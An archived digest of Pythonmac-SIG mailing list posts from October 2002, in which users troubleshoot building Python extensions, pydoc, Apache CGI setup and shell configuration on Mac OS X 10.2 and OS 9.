From gerhard.haering@gmx.de  Tue Oct  1 08:32:32 2002
From: gerhard.haering@gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Tue, 1 Oct 2002 09:32:32 +0200
Subject: [Pythonmac-SIG] Re: [Pypgsql-users] Mac os x revisited
In-Reply-To: <1033451123.3d9936736a07a@www.paradise.net.nz>
References: <1033451123.3d9936736a07a@www.paradise.net.nz>
Message-ID: <20021001073232.GC5741@lilith.ghaering.test>

(Cc-ing the Python-Mac SIG's list, in the hope that this message reaches
it and that somebody there can make any sense of the strange linker
error.) Could you please Cc Don?

* Don Robertson <dcrobertson@paradise.net.nz> [2002-10-01 17:45 +1200]:
> Greetings,
> 
> I have looked through the archive but it has truncated the posts, and the attached 
> setup.py is not attached.
>  
>  So apologies if you have seen all this before.
>  
>  I am trying to install on Mac OS 10.2, and have tried the fix suggested:
> 
> The lib paths were
>  include_dirs  = [ "/usr/local/pgsql/include" ]
>  library_dirs  = [ "/usr/local/pgsql/lib" ]
>  
>  This line had to be removed from the setup section
>  runtime_library_dirs = pypgsql_rt_dirs,
>  
>  My system seems pretty much the same as described.
>  
>  However, I am still unable to get it to work.
>   
>  When I build, I get  a load of errors, and I get :
>  
>  Python 2.2 (#1, 07/14/02, 23:25:09) 
> [GCC Apple cpp-precomp 6.14] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> >>> from pyPgSQL import PgSQL
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "/usr/lib/python2.2/site-packages/pyPgSQL/PgSQL.py", line 356, in ?
>     from libpq import *
>   File "/usr/lib/python2.2/site-packages/pyPgSQL/libpq/__init__.py", line 23, in ?
>     from libpq import *
> ImportError: Failure linking new module
> >>> 
>  
>  My build and install output is at:
>  http://homepages.paradise.net.nz/dcrober1/4suite/pypgsql_build.html

... which reads:

[...]
gcc -arch i386 -arch ppc -bundle -flat_namespace -undefined suppress build/temp.darwin-6.1-Power Macintosh-2.2/libpqmodule.o build/temp.darwin-6.1-Power Macintosh-2.2/pgboolean.o build/temp.darwin-6.1-Power Macintosh-2.2/pgint2object.o build/temp.darwin-6.1-Power Macintosh-2.2/pgint8object.o build/temp.darwin-6.1-Power Macintosh-2.2/pgversion.o build/temp.darwin-6.1-Power Macintosh-2.2/pglargeobject.o build/temp.darwin-6.1-Power Macintosh-2.2/pgnotify.o build/temp.darwin-6.1-Power Macintosh-2.2/pgconnection.o build/temp.darwin-6.1-Power Macintosh-2.2/pgresult.o build/temp.darwin-6.1-Power Macintosh-2.2/pymemstrdup.o -L/usr/local/pgsql/lib -lpq -o build/lib.darwin-6.1-Power Macintosh-2.2/pyPgSQL/libpq/libpqmodule.so
ld: for architecture i386
ld: warning /usr/lib/bundle1.o cputype (18, architecture ppc) does not match cputype (7) for specified -arch flag: i386 (file not loaded)
[...]

I have no idea why gcc picks up "-arch i386" _and_ "-arch ppc" options when you
use distutils.  That's certainly the cause of pyPgSQL not working for you, but
I have no idea /why/ distutils behaves like this. Perhaps your Python
installation on MacOS X is borked?

-- Gerhard


From brian_l@mac.com  Tue Oct  1 09:28:30 2002
From: brian_l@mac.com (Brian Lenihan)
Date: Tue, 1 Oct 2002 01:28:30 -0700
Subject: [Pythonmac-SIG] Re: [Pypgsql-users] Mac os x revisited
In-Reply-To: <20021001073232.GC5741@lilith.ghaering.test>
Message-ID: <C4080261-D517-11D6-8992-003065F88956@mac.com>

The autoconf (2.52) which comes with Jaguar is broken on BSDish=20
systems.  Either install the autoconf from Fink, or install the latest=20=

version from GNU (2.54+).  An alternative which may work is to edit=20
line 7294 of your /usr/share/autoconf.autoconf.m4f like so:

exit (setpgrp (1,1) =3D=3D -1 ? 0 : 1);])]

On Tuesday, October 1, 2002, at 12:32 AM, Gerhard H=E4ring wrote:

> (Cc-ing the Python-Mac SIG's list, in the hope that this message=20
> reaches
> it and that somebody there can make any sense of the strange linker
> error.) Could you please Cc Don?
>
> * Don Robertson <dcrobertson@paradise.net.nz> [2002-10-01 17:45 =
+1200]:
>> Greetings,
>>
>> I have looked through the archive but it has truncated the posts, and=20=

>> the attached
>> setup.py is not attached.
>>
>>  So apologies if you have seen all this before.
>>
>>  I am trying to install on Mac OS 10.2, and have tried the fix=20
>> suggested:
>>
>> The lib paths were
>>  include_dirs  =3D [ "/usr/local/pgsql/include" ]
>>  library_dirs  =3D [ "/usr/local/pgsql/lib" ]
>>
>>  This line had to be removed from the setup section
>>  runtime_library_dirs =3D pypgsql_rt_dirs,
>>
>>  My system seems pretty much the same as described.
>>
>>  However, I am still unable to get it to work.
>>
>>  When I build, I get  a load of errors, and I get :
>>
>>  Python 2.2 (#1, 07/14/02, 23:25:09)
>> [GCC Apple cpp-precomp 6.14] on darwin
>> Type "help", "copyright", "credits" or "license" for more =
information.
>>>>> from pyPgSQL import PgSQL
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>>   File "/usr/lib/python2.2/site-packages/pyPgSQL/PgSQL.py", line 356,=20=

>> in ?
>>     from libpq import *
>>   File "/usr/lib/python2.2/site-packages/pyPgSQL/libpq/__init__.py",=20=

>> line 23, in ?
>>     from libpq import *
>> ImportError: Failure linking new module
>>>>>
>>
>>  My build and install output is at:
>>  http://homepages.paradise.net.nz/dcrober1/4suite/pypgsql_build.html
>
> ... which reads:
>
> [...]
> gcc -arch i386 -arch ppc -bundle -flat_namespace -undefined suppress=20=

> build/temp.darwin-6.1-Power Macintosh-2.2/libpqmodule.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgboolean.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgint2object.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgint8object.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgversion.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pglargeobject.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgnotify.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgconnection.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pgresult.o=20
> build/temp.darwin-6.1-Power Macintosh-2.2/pymemstrdup.o=20
> -L/usr/local/pgsql/lib -lpq -o build/lib.darwin-6.1-Power=20
> Macintosh-2.2/pyPgSQL/libpq/libpqmodule.so
> ld: for architecture i386
> ld: warning /usr/lib/bundle1.o cputype (18, architecture ppc) does not=20=

> match cputype (7) for specified -arch flag: i386 (file not loaded)
> [...]
>
> I have no idea why gcc picks up "-arch i386" _and_ "-arch ppc" options=20=

> when you
> use distutils.  That's certainly the cause of pyPgSQL not working for=20=

> you, but
> I have no idea /why/ distutils behaves like this. Perhaps your Python
> installation on MacOS X is borked?
>
> -- Gerhard
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>



From managan@llnl.gov  Tue Oct  1 18:33:48 2002
From: managan@llnl.gov (Rob Managan)
Date: Tue, 1 Oct 2002 10:33:48 -0700
Subject: [Pythonmac-SIG] Bug in Numeric?
In-Reply-To: <69EEF15C-D4E8-11D6-94FD-000393873F82@jtan.com>
References: <69EEF15C-D4E8-11D6-94FD-000393873F82@jtan.com>
Message-ID: <p05111a03b9bf8865f7cc@[128.115.232.99]>

Set and I were having problems compiling the Python Numeric module 
for OSX 10.1.5 sue to missing inverse hyperbolic functions.

I added these lines to setup.py (the first two are already there)

elif sys.platform in ['mac', 'beos5']:
     mathlibs = []
elif sys.platform in ['darwin']:
     undef_macros = ['HAVE_INVERSE_HYPERBOLIC']


This turns off support for the inverse hyperbolics since they are not 
available.

Now all I have to do is figure out how to get it to use the Atlas 
libraries I downloaded.

If any of the experts have a better solution let me know. I presume 
if I somehow used the Metrowerks compiler they have provided the 
inverse hyperbolics but I have not tried that route yet.


-- 
*-*-*-*-*-*-*-*-*-*-**-*-*-*-*-*-*-*-*-*-*-
Rob Managan       <mailto://managan@llnl.gov>
LLNL                      ph:  925-423-0903
P.O. Box 808, L-095       FAX: 925-422-3389
Livermore, CA  94551-0808



From hansv@net4all.be  Wed Oct  2 11:40:27 2002
From: hansv@net4all.be (Hans verschooten)
Date: Wed, 2 Oct 2002 12:40:27 +0200
Subject: [Pythonmac-SIG] mxTidy
In-Reply-To: <3D8BACEC.A980F6EB@noaa.gov>
Message-ID: <5D8978A7-D5F3-11D6-963F-0030656FC5FA@net4all.be>

Hi,

I'm want to use  mxTidy 
(http://www.egenix.com/files/python/mxTidy.html) but have no clue how 
to install it. I'm using Python 2.2 as provided by Bob Ippolito.

Is there anyone who can steer me in the right direction?

Thanks,
Hansv 



From fgranger@teleprosoft.com  Wed Oct  2 15:47:21 2002
From: fgranger@teleprosoft.com (Fran=?ISO-8859-1?B?5w==?=ois Granger)
Date: Wed, 02 Oct 2002 16:47:21 +0200
Subject: [Pythonmac-SIG] Pydoc.py on MacOS 9
Message-ID: <B9C0D398.57F20%fgranger@teleprosoft.com>

I don't want to look stupid, but I cant have it to work with '-w' as follow:

Mac OS 9.1 - Python 2.2.1 - pydoc.py __version__ = "$Revision: 1.56.8.3 $"

I made a copyy of pydoc.py and inspect.py in a separat folder.
I Drag & Drop the script on Python Interpreter with Option key: I type in
'-w inspect.py'

Message is : no Python documentation found for 'inspect.py'

I type in '-w :inspect.py' because line 2069 call for this semicolon...

Traceback (most recent call last):
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 2107, in ?
    if __name__ == '__main__': cli()
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 2076, in cli
    writedoc(arg)
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 1346, in writedoc
    object = locate(key, forceload)
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 1298, in locate
    parts = split(path, '.')
  File "Macintosh HD:Python 2.2.1:Lib:string.py", line 117, in split
    return s.split(sep, maxsplit)
AttributeError: 'module' object has no attribute 'split'

If i do a buildapplet of pydoc and do a drag and drop of inspect on it I get
the text documentation ??

Salutations,
Francois Granger
-- 
fgranger@teleprosoft.com - <http://www.teleprosoft.com>
tel: +33 1 41 88 48 00 - Fax: + 33 1 41 88 48 48



From brownr@ucalgary.ca  Wed Oct  2 18:34:24 2002
From: brownr@ucalgary.ca (Robb Brown)
Date: Wed, 2 Oct 2002 11:34:24 -0600
Subject: [Pythonmac-SIG] .apps and VTK
Message-ID: <a0510100fb9c0cbedc273@[139.48.44.51]>

--============_-1178542429==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I've added my own __main__.py script to a copy of the Python.app on 
OSX.  Everything works except I cannot import VTK.  When I try, I get 
this error:

Traceback (most recent call last):
   File "/Applications/Vis.app/Contents/Resources/__main__.py", line 4, in ?
     from vtk import *
   File 
"/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/site-packages/vtk_python/vtk/__init__.py", 
line 7, in ?
     from common import *
   File 
"/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2/site-packages/vtk_python/vtk/common.py", 
line 7, in ?
     from libvtkCommonPython import *
ImportError: Failure linking new module

This is only when double clicking the .app.  If I go into it and run 
the python interpreter directly (which then executes __main__.py), 
everything is fine.

Any ideas?

Thanks,

Robb


-- 
______________________________
Robb Brown
Seaman Family MR Research Centre
Calgary, Alberta, Canada
--============_-1178542429==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>.apps and VTK</title></head><body>
<div>I've added my own __main__.py script to a copy of the Python.app
on OSX.&nbsp; Everything works except I cannot import VTK.&nbsp; When
I try, I get this error:</div>
<div><br></div>
<div><tt><font size="-1" color="#000000">Traceback (most recent call
last):<br>
&nbsp; File
&quot;/Applications/Vis.app/Contents/Resources/__main__.py&quot;, line
4, in ?<br>
&nbsp;&nbsp;&nbsp; from vtk import *<br>
&nbsp; File
&quot;/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2<span
></span>/site-packages/vtk_python/vtk/__init__.py&quot;, line 7, in
?<br>
&nbsp;&nbsp;&nbsp; from common import *<br>
&nbsp; File
&quot;/Library/Frameworks/Python.framework/Versions/2.2/lib/python2.2<span
></span>/site-packages/vtk_python/vtk/common.py&quot;, line 7, in
?<br>
&nbsp;&nbsp;&nbsp; from libvtkCommonPython import *</font></tt></div>
<div><tt><font size="-1" color="#000000">ImportError: Failure linking
new module</font></tt></div>
<div><tt><font size="-1" color="#000000"><br></font></tt></div>
<div><tt><font size="-1" color="#000000">This is only when double
clicking the .app.&nbsp; If I go into it and run the python
interpreter directly (which then executes __main__.py), everything is
fine.</font></tt></div>
<div><tt><font size="-1" color="#000000"><br></font></tt></div>
<div><tt><font size="-1" color="#000000">Any ideas?</font></tt></div>
<div><tt><font size="-1" color="#000000"><br></font></tt></div>
<div><tt><font size="-1" color="#000000">Thanks,</font></tt></div>
<div><tt><font size="-1" color="#000000"><br></font></tt></div>
<div><tt><font size="-1" color="#000000">Robb</font></tt></div>
<div><br></div>
<div><br></div>
<x-sigsep><pre>-- 
</pre></x-sigsep>
<div>______________________________<br>
Robb Brown<br>
Seaman Family MR Research Centre<br>
Calgary, Alberta, Canada</div>
</body>
</html>
--============_-1178542429==_ma============--


From ep@epoz.org  Wed Oct  2 19:37:26 2002
From: ep@epoz.org (Etienne Posthumus)
Date: Wed, 2 Oct 2002 20:37:26 +0200
Subject: [Pythonmac-SIG] arch i386 setting for LDFLAGS on Jaguar built-in Python?
Message-ID: <FF794BAC-D635-11D6-9FD5-0003935458F6@epoz.org>

For some reason, the LDFLAGS setting in 
/usr/lib/python2.2/config/Makefile on OS X 10.2 has the value:
-arch i386 -arch ppc

When compiling 4Suite (and probably other modules) this gives lots of 
error messages.
Does anyone have an idea why this was done? It doesn't seem to make 
sense.

Etienne Posthumus



From billb@mousa.demon.co.uk  Thu Oct  3 11:45:26 2002
From: billb@mousa.demon.co.uk (Bill Bedford)
Date: Thu, 3 Oct 2002 11:45:26 +0100
Subject: [Pythonmac-SIG] Resource Files
Message-ID: <p05111701b9c1cf416515@mousa.demon.co.uk>

I've just started working with Python 2.3a and am converting some of my
scripts. I am having difficulty with some that import resource file.
2.3 seems only to be able to import OSX resources, It there a quick and
easy method of converting my OS9 resources so that I can open them in
2.3?


-- 

Bill Bedford

He said no more is no less than it is
if in the future we live in the past


From fgranger@altern.org  Thu Oct  3 13:43:48 2002
From: fgranger@altern.org (Francois Granger)
Date: Thu, 03 Oct 2002 14:43:48 +0200
Subject: [Pythonmac-SIG] Pydoc.py on MacOS 9
Message-ID: <B9C20824.58066%fgranger@altern.org>

I don't want to look stupid, but I cant have it to work with '-w' as follow:

Mac OS 9.1 - Python 2.2.1 - pydoc.py __version__ = "$Revision: 1.56.8.3 $"

I made a copyy of pydoc.py and inspect.py in a separat folder.
I Drag & Drop the script on Python Interpreter with Option key: I type in
'-w inspect.py'

Message is : no Python documentation found for 'inspect.py'

I type in '-w :inspect.py' because line 2069 call for this semicolon...

Traceback (most recent call last):
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 2107, in ?
    if __name__ == '__main__': cli()
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 2076, in cli
    writedoc(arg)
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 1346, in writedoc
    object = locate(key, forceload)
  File "Macintosh HD:Dev:scripts en dev:pydoc.py", line 1298, in locate
    parts = split(path, '.')
  File "Macintosh HD:Python 2.2.1:Lib:string.py", line 117, in split
    return s.split(sep, maxsplit)
AttributeError: 'module' object has no attribute 'split'

If i do a buildapplet of pydoc and do a drag and drop of inspect on it I get
the text documentation ??

Salutations,
Francois Granger
-- 
fgranger@teleprosoft.com - <http://www.teleprosoft.com>
tel: +33 1 41 88 48 00 - Fax: + 33 1 41 88 48 48



From fgranger@altern.org  Thu Oct  3 15:47:41 2002
From: fgranger@altern.org (Francois Granger)
Date: Thu, 03 Oct 2002 16:47:41 +0200
Subject: [Pythonmac-SIG] Pydoc.py on MacOS 9
In-Reply-To: <B9C20824.58066%fgranger@altern.org>
Message-ID: <B9C2252D.580A9%fgranger@altern.org>

on 3/10/02 14:43, Francois Granger at fgranger@altern.org wrote:

> I don't want to look stupid, but I cant have it to work with '-w' as foll=
ow:

By trial and error, I came with a partial solution. I did a pydocm.py scrip=
t
wich I can convert to an applet, and do adrag & drop with option key to add
the '-w' parameter. It need some more enhancement to become a general
solution.

Pydocm.py:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
#!/usr/bin/env python
"""Adapt PyDoc to the Mac
"""

import sys, os, pydoc

def isarg(s):
    return s[0] =3D=3D '-'

def main():
    l =3D len(sys.argv)
    #print sys.argv
    if l > 1:
        arg =3D ''
        files =3D []
        #script =3D sys.argv[0]
        for i in range(1, l):
            if isarg(sys.argv[i]):
                arg =3D sys.argv[i]
            else:
                pathtoscript =3D os.getcwd()
                head, tail =3D  os.path.split(sys.argv[i])
                root, ext =3D os.path.splitext(tail) # remove extension
                if head =3D=3D pathtoscript:
                    filename =3D root
                    """
                elif ext:
                    if not ':' in root:
                        files.append(':' + root)
                    else:
                        files.append(root)
                """
                else:
                    files.append(root)
        if arg:
            sys.argv[1] =3D arg
        sys.argv[2:] =3D files
    print sys.argv
    #print '=3D' * 30

    pydoc.cli()
    pass

if __name__ =3D=3D '__main__':
    main()
    pass
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

--=20
Le courrier =E9lectronique est un moyen de communication. Les gens devraient
se poser des questions sur les implications politiques des choix (ou non
choix) de leurs outils et technologies.
Pour des courriers propres : http://minilien.com/?IXZneLoID0




From kp87@lycos.com  Thu Oct  3 18:52:44 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 03 Oct 2002 13:52:44 -0400
Subject: [Pythonmac-SIG] adding to the Unix/Jaguar python
Message-ID: <KMHCPNAFFJOFMAAA@mailcity.com>

Hi folks. I've been getting set up on OS X 10.2.1 and was pleased to be
able to invoke the UNIX python in the shell right out of the box. I plan
to wait for the 2.3 merge to get the official Mac python distribution
and just ( i guess :) ) use the pre-existing Jaguar install for now,
though i am using Jack's Python under OS 9 when i am booted up there.

However i would really like to get some of the other packages added,
especially Numeric & co. Anyone know where i can get these and how i can
add them to the pre-built 10.2.1 install? I saw the links to Tony Lownds
& Bob Ippolito's stuff but Bob Ippolito's page looks like it might be a
bit out of date. Also both of these pre-compiled packages found there
contain more than i am looking for (not sure i need X windows or Tk yet,
though if i get that do i then have IDLE? It is all so confusing!). The
build on the wxPython sourceforge page is mysterious as well as they
don't tell you what is included. I am hesitant to install stuff that is
out of date/experimental or Beta-ish or anything that might clobber the
version of Python that i have now, which seems to be working and
reasonably up to date.

So what is the best was to beef up the UNIX Python that comes installed?
Is there a place where binary packages are placed? Has someone compiled
packages for the UNIX python? Or, as i have the developer package, are
there instructions for how to build some of the more common add-ons out
of the box?

Sorry, i am bit confused. A lot has changed in the UNIX/Darwin world
since i retired my NeXT machine. In those days fink was someone who told
the boss you was looking at nudie pictures on your NeXTstation at
work...

best,

kevin




____________________________________________________________
Tired of all the SPAM in your inbox? Switch to LYCOS MAIL PLUS
http://www.mail.lycos.com/brandPage.shtml?pageId=plus


From israel@lith.com  Thu Oct  3 21:26:35 2002
From: israel@lith.com (Israel Evans)
Date: Thu, 3 Oct 2002 13:26:35 -0700
Subject: [Pythonmac-SIG] mac OS X Apache Webserver Python Cgi's?
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B436E@mailcluster.lith.com>

Hey there Mac Python Folks...

I figured that if anyone knew they would probably be on this list...

I'm trying to set up my basic Apache webserver (the one that came installed
with 10.1.5) to run python based cgi's.  I figure that I'll probably have to
use the unix version to do this but I'm not sure..  Anyway.. My real
difficulty is setting up the apache server to use mod_python mod-snake or
pyapache or whatever so that I can use osX as my development machine.

Any help or pointers to more appropriate places would be greatly
appreciated. 

~Israel~





From stephen.langer@nist.gov  Fri Oct  4 04:26:14 2002
From: stephen.langer@nist.gov (Stephen A. Langer)
Date: Thu, 3 Oct 2002 23:26:14 -0400
Subject: [Pythonmac-SIG] porting a python extension to OS X 10.2
In-Reply-To: <p05111a05b9be431bf457@[129.6.153.92]>
References: <p05111a05b9be431bf457@[129.6.153.92]>
Message-ID: <p05111a00b9c2b067b180@[129.6.153.92]>

>Hello --
>
>Can someone point me to a summary of how to compile and link a 
>Python extension module, written in C++, under OS X 10.2?  On other 
>Unixes (Linux, SGI), we compile with gcc 2.95.x and link with gcc 
>-shared, producing a .so file which Python is happy to load.   gcc 
>3.1 on OS X doesn't understand -shared. Do I have to use libtool 
>instead?  When I try to do that, libtool complains at the end about 
>all sorts of undefined symbols, which should have been resolved by 
>the list of libraries it was given.
>

I'll answer my own question because others might find the answer useful,
and maybe someone else can shed light on the parts I don't understand.
Thanks to Brian Lenihan and Jeff Whitaker for helping me out.

The critical piece of information is to add "-bundle -bundle_loader 
/path/to/your/python" to the ld flags.  That resolves all the 
undefined Python API calls in the .o files.  If you're using the 
framework Python (which I'm not), you have to add "-framework Python 
-framework Carbon" as well.   I don't know if "-framework Python" is 
redundant or conflicting with "-bundle_loader python".

I was also advised to add "-dynamic" to the compiler flags.  This 
seems not to make a difference, although it makes the final .so file 
10% larger.   What should -dynamic be doing?  Python is happy to load 
the module when it's compiled without -dynamic.

Similarly, compiling and linking with "libtool g++" instead of "g++" 
did not benefit me much -- without libtool I had to explicitly link 
one more library. Using libtool also made the final .so file slightly 
larger.

(The final problem I had was completely unrelated, although it was 
hard to tell at the time.  Fink's "apt-get install imagemagick" on 
10.2 installs defective shared libraries which I was trying to link 
with.  Linking with the static libraries produced by "fink install 
imagemagick" works just fine.)

  -- Steve

-- 
-- EMail: stephen.langer@nist.gov                    Phone: (301) 975-5423 --
-- WWW:  http://math.nist.gov/mcsd/Staff/SLanger/    Fax:   (301) 990-4127 --
-- Mail: NIST; 100 Bureau Drive -- Stop 8910; Gaithersburg, Md  20899-8910 --


From ryanwilcox@mac.com  Fri Oct  4 04:31:58 2002
From: ryanwilcox@mac.com (Ryan Wilcox)
Date: Thu,  3 Oct 2002 23:31:58 -0400
Subject: [Pythonmac-SIG] porting a python extension to OS X 10.2
In-Reply-To: <p05111a00b9c2b067b180@[129.6.153.92]>
Message-ID: <r01050400-1021-D6BCB3FBD74911D6B54500039310A782@[129.21.139.17]>

On Thursday, October 3, 2002, at 11:26 PM, Stephen A. Langer wrote:

> Fink's "apt-get install imagemagick" on 
>10.2 installs defective shared libraries which I was trying to link 
>with.  Linking with the static libraries produced by "fink install 
>imagemagick" works just fine

I believe this is because alot of fink binaries haven't been updated
to use the new ABIs in Jaguar - Or something like that.

That's why you need to fink install everything... and not trust
apt-get. At least for a while, until they update everything.

-Ryan

Who knows far too little about this stuff...


From stephen.langer@nist.gov  Fri Oct  4 04:45:23 2002
From: stephen.langer@nist.gov (Stephen A. Langer)
Date: Thu, 3 Oct 2002 23:45:23 -0400
Subject: [Pythonmac-SIG] porting a python extension to OS X 10.2
In-Reply-To: <r01050400-1021-D6BCB3FBD74911D6B54500039310A782@[129.21.139.17]>
References: <r01050400-1021-D6BCB3FBD74911D6B54500039310A782@[129.21.139.17]>
Message-ID: <p05111a04b9c2be72f18c@[129.6.31.12]>

At 11:31 PM -0400 10/3/02, Ryan Wilcox wrote:
>On Thursday, October 3, 2002, at 11:26 PM, Stephen A. Langer wrote:
>
>>  Fink's "apt-get install imagemagick" on
>>10.2 installs defective shared libraries which I was trying to link
>>with.  Linking with the static libraries produced by "fink install
>>imagemagick" works just fine
>
>I believe this is because alot of fink binaries haven't been updated
>to use the new ABIs in Jaguar - Or something like that.
>
>That's why you need to fink install everything... and not trust
>apt-get. At least for a while, until they update everything.

My impression was that "apt-get install xxx" would say "package not 
found" or something like that if xxx hadn't been updated for 10.2. 
So I was apt-getting things first, and only fink installing them if 
apt-get failed.  Apparently that's not the thing to do.

  -- Steve

-- 
-- EMail: stephen.langer@nist.gov                    Phone: (301) 975-5423 --
-- WWW:  http://math.nist.gov/mcsd/Staff/SLanger/    Fax:   (301) 990-4127 --
-- Mail: NIST; 100 Bureau Drive -- Stop 8910; Gaithersburg, Md  20899-8910 --


From calvin@xmission.com  Fri Oct  4 15:07:42 2002
From: calvin@xmission.com (Calvin)
Date: Fri, 4 Oct 2002 08:07:42 -0600 (MDT)
Subject: [Pythonmac-SIG] mac OS X Apache Webserver Python Cgi's?
In-Reply-To: <no.id> from "Israel Evans" at Oct 03, 2002 01:26:35 PM
Message-ID: <E17xT7G-0006g5-00@xmission.xmission.com>

Hey, 

to get python working with apache you don't need the python mods 
installed.  you do need to modify your httpd.conf file then do apachectl 
restart.

here is my notes for setting up httpd.conf from an install procedure I 
keep for alll the fixes I have to do with each new mac os x:
Setting Up httpd.conf

make sure env_mod cgi is loading, 
make sure execcgi is getting included,
make sure env_module is uncommented for the LoadModule and AddModule, and 
    # To use CGI scripts:
    #
    AddHandler cgi-script .cgi 
    ADDHandler cgi-script .py
    passenv PYTHONPATH
    setenv PYTHONBUFFERED 1
    
    and don't forget to add ExecCGI to allowed stuff. 

don't forget to correct CGI programs if the python path has changed.
here is a sample cgi program:
________________________
#!/usr/bin/python
#cgitest.py

import os, cgi, sys

sys.stderr = sys.stdout

print "Content-type: text/html\r\n"

print cgi.print_environ()

print '<br><br>'
print os.environ

_______________________

hope this helps.

-calvin


From kp87@lycos.com  Sat Oct  5 17:30:35 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 05 Oct 2002 12:30:35 -0400
Subject: [Pythonmac-SIG] ok, i am stumped!
Message-ID: <MMIFPNGGNCKGFAAA@mailcity.com>

I made a little python script on OS X 10.2.1 like so:

#! /bin/env python
print 'hello kevin"


Saved the file and changed it to be executable, thusly:

$ chmod +x foo.py

Then tried to run my little file directly by just typing:

$ foo.py


And nothing happend. well actually i got the:
foo.py: Command not found.

message, So tried (just to see what happens):

[snowcat:~] kevin% /usr/bin/python2.2 foo.py

and even stranger the program seemed to exectute but no
output. I just got my prompt back.

I remember that i had this problem under 10.0.0.0.0.0.0.
and could never solve it, since no one was using OS X, but
please someone must be trying to use UNIX python on OS X 
out of the box and knows shy this happens and how 
to fix it?

Any help? Anyone?

-kevin parks







____________________________________________________________
Watch a championship game with Elway or McGwire.
Enter Now at http://champions.lycos.com 


From just@letterror.com  Sat Oct  5 17:36:18 2002
From: just@letterror.com (Just van Rossum)
Date: Sat,  5 Oct 2002 18:36:18 +0200
Subject: [Pythonmac-SIG] ok, i am stumped!
In-Reply-To: <MMIFPNGGNCKGFAAA@mailcity.com>
Message-ID: <r01050400-1021-947060DAD88011D6B8A4003065D5E7E4@[10.0.0.23]>

kevin parks wrote:

> #! /bin/env python
> print 'hello kevin"

Should be #!/usr/bin/env python

[ ... ]
> and even stranger the program seemed to exectute but no
> output. I just got my prompt back.

Mac line endings instead of unix?

Just


From SamuelM.Smith  Sat Oct  5 18:06:20 2002
From: SamuelM.Smith (SamuelM.Smith)
Date: Sat, 5 Oct 2002 11:06:20 -0600
Subject: [Pythonmac-SIG] wxpython fink
In-Reply-To: <r01050400-1021-947060DAD88011D6B8A4003065D5E7E4@[10.0.0.23]>
Message-ID: <C4B7B11E-D884-11D6-88C2-00039346A274@samuelsmith.org>

--Apple-Mail-12--304194655
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

Anyone know what the state is of the fink version of  wxPython wxgtk  
on Jaguar. I recently did a clean install of fink on 10.2.1 and the 
unstable tree of fink does not list wxpython or wxgtk

**********************************************************************
Samuel M. Smith Ph.D.
360 W. 920 N.   Orem, Utah 84057
801-226-7607 x112 (voice)  801-226-7608 (fax)
**********************************************************************
"The greatest source of failure and unhappiness in the world is
giving up what we want most for what we want at the moment"
**********************************************************************
--Apple-Mail-12--304194655
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII

Anyone know what the state is of the fink version of  wxPython wxgtk 
on Jaguar. I recently did a clean install of fink on 10.2.1 and the
unstable tree of fink does not list wxpython or wxgtk


<fontfamily><param>Arial Narrow</param>**********************************************************************

Samuel M. Smith Ph.D.

360 W. 920 N.   Orem, Utah 84057

801-226-7607 x112 (voice)  801-226-7608 (fax)

**********************************************************************

"The greatest source of failure and unhappiness in the world is 

giving up what we want most for what we want at the moment"

**********************************************************************</fontfamily>
--Apple-Mail-12--304194655--



From kp87@lycos.com  Sat Oct  5 18:56:48 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 05 Oct 2002 13:56:48 -0400
Subject: [Pythonmac-SIG] ok, i am stumped!
Message-ID: <PFBHDMIKBOOGFAAA@mailcity.com>

Re: [Pythonmac-SIG] ok, i am stumped!

(don't you just hate that this digest (if you get it that way) doesn't include the subject and sender before each
message?)


Thanks Just I found one of my problems (a dumb typo, wouldn't you know
it!)

But it still only works with the full path, so i am able to do:

% /usr/bin/python2.2 foo.py 

but not:

% foo.py

I am thinking that there is a path problem here? Anyone know how to set
up those Library/init/tcsh/ files and such. I am finding precious little
on it on the net and on the OS install itself. I'd like to customize my
shell (how to set that save hist thingy again? How is it that i reset my
prompt!? I am surprised there is so little into on tcsh beside the very
terse man pages (i am human i cannot read UNIX man pages!)







